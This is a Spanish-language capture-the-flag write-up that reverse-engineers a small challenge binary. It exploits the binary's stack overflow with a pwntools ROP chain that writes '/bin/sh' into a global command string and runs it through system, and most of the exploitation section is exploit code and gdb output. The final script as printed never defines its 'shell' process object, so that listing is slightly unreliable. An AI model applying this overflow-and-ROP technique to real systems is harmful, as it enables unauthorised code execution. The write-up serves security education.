Reversing
Al ejecutar el binario que se otorga muestra un mensaje de bienvenida y pide datos como entrado y los exfiltra, de primeras no queda muy clara su función
❯ ./chal
Servicio de exfiltracion Ocelot v0.1
Recibiendo datos...
AAAAAAAABBBBBBBB
Datos exfiltrados
Iniciamos desensamblando el binario, la función main
guarda en una variable command
una string que ejecuta un echo
, además declara un iterador i
en 0
Luego en un bucle que se ejecuta n
veces donde n es la longitud la variable command
, en cada iteración llama a la función updateCommand
pasandole como argumentos el iterador y el contenido de la variable command
en la posición i
, una vez que termina el bucle llama a vuln
y finalmente a la función execCommand
La función updateCommand
recibe el indice y un byte, simplemente mueve el byte
a la variable command
en la posición i
, podriamos escribirlo como command[i] = byte
Para entender mejor el bucle podemos establecer un breakpoint en la llamada a updateCommand
y vincular a el comandos que muestren ambas variables que se le pasan como argumento, la primera como dword
y la segunda como string
❯ gdb -q chal
Reading symbols from chal...
(No debugging symbols found in chal)
pwndbg> x/i 0x80492de
0x80492de <main+73>: call 0x80491f3 <updateCommand>
pwndbg> b *0x80492de
Punto de interrupción 1 at 0x80492de
pwndbg> commands 1
Type commands for breakpoint(s) 1, one per line. End with a line saying just "end".
>x/wx $esp
>x/s $esp+4
>end
pwndbg>
En la primera iteración se le pasa el indice 0
y la cadena e
, entonces ejecutariamos un command[0] = "e"
, en la segunda el indice 1
y la cadena h
que equivale a el pseudo c command[1] = "c"
; y así byte por byte hasta completar toda la cadena
pwndbg> r
Starting program: /home/user/chal
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, 0x080492de in main ()
0xffffd4a0: 0x00000000
0xffffd4a4: "e"
pwndbg> c
Continuando.
Breakpoint 1, 0x080492de in main ()
0xffffd4a0: 0x00000001
0xffffd4a4: "c"
pwndbg> c
Continuando.
Breakpoint 1, 0x080492de in main ()
0xffffd4a0: 0x00000002
0xffffd4a4: "h"
pwndbg> c
Continuando.
Breakpoint 1, 0x080492de in main ()
0xffffd4a0: 0x00000003
0xffffd4a4: "o"
pwndbg>
Si quitamos los breakpoints
y continuamos podemos ver que cuando se termina el bucle ahora la variable command
esta llena con el comando que se define al inicio
pwndbg> bc *
pwndbg> c
Continuando.
Servicio de exfiltracion Ocelot v0.1
Recibiendo datos...
^C
Program received signal SIGINT, Interrupt.
0xf7fc7579 in __kernel_vsyscall ()
pwndbg> x/s &command
0x804c040 <command>: "echo Datos exfiltrados"
pwndbg>
Vamos con la función execCommand
, esta simplemente ejecuta como comando llamando a la función system
lo que se encuentre en la variable command
La función vuln llama a fgets 0x200
o 512
bytes en un buffer que inicia en ebp - 264
Explotación
Iniciamos mirando las protecciones con checksec
, este binario solo tiene activada la protección NX
que nos impedirá ejecutar shellcode directamente en el stack
❯ checksec chal
[*] '/home/user/chal'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Podemos crear un payload, enviaremos 264 A's
para rellenar el buffer antes de ebp
, 4 B's
que seran el valor de ebp en el leave
y 4 C's
que tomaran el valor del return address, y finalmente algunas D's
que simplemente se guardarán en el stack
❯ python3 -q
>>> b"A" * 264 + b"B" * 4 + b"C" * 4 + b"D" * 24
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDD'
>>>
❯ gdb -q chal
Reading symbols from chal...
(No debugging symbols found in chal)
pwndbg> r
Starting program: /home/user/chal
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Servicio de exfiltracion Ocelot v0.1
Recibiendo datos...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDD
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
pwndbg> p/x $ebp
$1 = 0x42424242
pwndbg> p/x $eip
$2 = 0x43434343
pwndbg> x/s $esp
0xffffd4b0: 'D' <repetidos 24 veces>
pwndbg>
Ya que el NX
esta habilitado tendremos que hacer ROP
, sin embargo las propias funciones del programa nos ayudarán a conseguir una shell, updateCommand
nos ayudará a escribir en la variable command
y execCommand
a ejecutar dicha variable
pwndbg> p updateCommand
$1 = {<text variable, no debug info>} 0x80491f3 <updateCommand>
pwndbg> p execCommand
$2 = {<text variable, no debug info>} 0x804921d <execCommand>
pwndbg>
El primer exploit envia A's
para rellenar el offset hasta el return address, nuestra cadena ROP
inicia llamando a la función updateCommand
, lo primero que se envia en el stack es la dirección de retorno que será a donde retorna al terminar la función, le pasamos el primer argumento como posición 0
y el primer caracter de la cadena /bin/sh
que es /
, además enviamos unas C's
para que se guarden en el stack
#!/usr/bin/python3
from pwn import gdb, p32, u8
shell = gdb.debug("./chal", "b *0x80491f3\ncontinue")
offset = 268
junk = b"A" * offset
cmd = b"/bin/sh\x00"
payload = b""
payload += junk
payload += p32(0x080491f3) # updateCommand()
payload += p32(0x42424242) # return address
payload += p32(0) # position
payload += p32(u8(cmd[0:1])) # character
payload += p32(0x43434343) # more data
shell.sendlineafter(b"...\n", payload)
shell.interactive()
Al llegar al breakpoint establecido en updateCommand
podemos ver en el stack el primer dword que es la dirección de retorno y luego los 2
argumentos de la función
Breakpoint 1, 0x080491f3 in updateCommand ()
pwndbg> x/i $eip
=> 0x80491f3 <updateCommand>: push ebp
pwndbg> x/wx $esp
0xffb35fb0: 0x42424242
pwndbg> x/wx $esp+4
0xffb35fb4: 0x00000000
pwndbg> x/s $esp+8
0xffb35fb8: "/"
Saltamos el ret
que es el final de la función revisamos la variable global command
y el primer caracter lo hemos modificado de e
a /
, además podemos ver que en el ret
apunta a la dirección 0x42424242
que es el primer dword que habiamos enviado
pwndbg> nextret
Temporary breakpoint -11, 0x0804921c in updateCommand ()
pwndbg> x/s &command
0x804c040 <command>: "/cho Datos exfiltrados"
pwndbg> x/i $eip
=> 0x804921c <updateCommand+41>: ret
pwndbg> x/wx $esp
0xffb35fb0: 0x42424242
pwndbg>
Miramos al stack, al llegar a la dirección de retorno en el stack tenemos aún los 2
argumentos y luego la dirección de las 3 C's
, lo mas sencillo para seguir con el siguiente caracter seria limpiar esos 8
bytes de los 2
dwords y retornar en las C's
para la siguiente iteración que será el ropchain
que escriba el siguiente caracter
pwndbg> c
Continuando.
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
pwndbg> stack 3
00:0000│ esp 0xffb35fb4 ◂— 0
01:0004│ 0xffb35fb8 ◂— 0x2f /* '/' */
02:0008│ 0xffb35fbc ◂— 'CCCC'
pwndbg>
Lo ideal seria un gadget add esp, 8; ret;
pero aunque no existe tenemos un gadget add esp, 8; pop ebx; ret;
por lo que necesitaremos enviar 4
bytes de padding y evitar que no salte donde debe, este stack pivot lo encontramos con ropper
❯ ropper --file chal --stack-pivot
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
Gadgets
=======
0x08049102: add esp, 0x10; leave; ret;
0x0804901b: add esp, 8; pop ebx; ret;
0x080492f9: ret 0x458b;
0x08049213: ret 0xb60f;
0x080492fe: ret 0xc873;
0x0804912b: ret 0xe8c1;
6 gadgets found
Entonces, nuestro exploit es un bucle que llama a updateCommand
pasandole los 2 argumentos, la posición y el caracter, y en la dirección de retorno limpiamos el stack para pasar a la siguiente iteración hasta que se completen todos los caracteres
#!/usr/bin/python3
from pwn import gdb, p32, u8
shell = gdb.debug("./chal", "b *0x804921c\nb *0x804921d\ncontinue")
offset = 268
junk = b"A" * offset
cmd = b"/bin/sh\x00"
payload = b""
payload += junk
for i in range(len(cmd)):
payload += p32(0x80491f3) # updateCommand()
payload += p32(0x804901b) # add esp 8; pop ebx; ret;
payload += p32(i) # position
payload += p32(u8(cmd[i:i+1])) # character
payload += p32(0x41414141) # padding for pop
payload += p32(0x804921d) # execCommand()
shell.sendlineafter(b"...\n", payload)
shell.interactive()
Cuando llegamos a updateCommand
como return address tenemos el stack pivot y cuando se ejecute quitara los 3
dwords del stack y pasa al siguiente updateCommand
Breakpoint 1, 0x0804921c in updateCommand ()
pwndbg> x/i $eip
=> 0x804921c <updateCommand+41>: ret
pwndbg> x/3i *(int)($esp)
0x804901b <_init+27>: add esp,0x8
0x804901e <_init+30>: pop ebx
0x804901f <_init+31>: ret
pwndbg> stack 5
00:0000│ esp 0xffa63e00 —▸ 0x804901b (_init+27) ◂— add esp, 8
01:0004│ 0xffa63e04 ◂— 0
02:0008│ 0xffa63e08 ◂— 0x2f /* '/' */
03:000c│ 0xffa63e0c ◂— 0x41414141 ('AAAA')
04:0010│ 0xffa63e10 —▸ 0x80491f3 (updateCommand) ◂— push ebp
pwndbg>
Cuando terminamos los bucles y llegamos a execCommand
la variable global command
ahora contiene toda la cadena /bin/sh
y al ejecutarse nos devuelve una shell
pwndbg> bc 1
pwndbg> c
Continuando.
Breakpoint 2, 0x0804921d in execCommand ()
pwndbg> x/i $eip
=> 0x804921d <execCommand>: push ebp
pwndbg> x/s &command
0x804c040 <command>: "/bin/sh"
pwndbg>
El exploit final llena caracter por caracter llamando a la función updateCommand
la variable command
con la cadena /bin/sh
y cuando termina el bucle llama a la función execCommand
que ejecuta la variable command
con system
y devuelve la shell
#!/usr/bin/python3
from pwn import process, p32, u8
offset = 268
junk = b"A" * offset
cmd = b"/bin/sh\x00"
payload = b""
payload += junk
for i in range(len(cmd)):
payload += p32(0x80491f3) # updateCommand()
payload += p32(0x804901b) # add esp 8; pop ebx; ret;
payload += p32(i) # position
payload += p32(u8(cmd[i:i+1])) # character
payload += p32(0x41414141) # padding for pop
payload += p32(0x804921d) # execCommand()
shell.sendlineafter(b"...\n", payload)
shell.interactive()
❯ python3 exploit.py
[+] Starting local process './chal': pid 305681
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$